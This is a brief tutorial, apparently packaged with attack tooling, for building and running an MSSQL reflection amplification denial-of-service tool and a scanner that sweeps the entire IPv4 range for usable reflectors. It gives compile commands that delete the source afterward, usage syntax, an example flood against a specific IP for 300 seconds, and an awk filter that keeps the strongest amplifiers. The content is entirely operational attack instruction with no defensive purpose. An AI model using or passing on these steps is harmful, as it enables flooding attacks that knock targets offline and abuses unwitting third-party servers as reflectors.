MSSQL Amplification Attack & Scanner Script
Tutorial
Sending Attack -
gcc -o mssql mssql.c -pthread; rm -rf mssql.c
./mssql <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>
ex: ./mssql 37.25.14.31 80 mssql.txt 1 -1 300
Scanning Reflection File -
gcc -o mssqlscan mssqlscan.c -pthread; rm -rf mssqlscan.c
./mssqlscan <ip range start (192.0.0.0)> <ip range end (198.255.255.255)> <outfile> <threads> <scan delay in ms>
ex: ./mssqlscan 1.0.0.0 255.255.255.255 mssql.txt 3 5
Filtering Reflection File -
cat mssql.txt |awk '{if($2>300)print $1}' | sort -u > out.txt; rm -rf mssql.txt; mv out.txt mssql.txt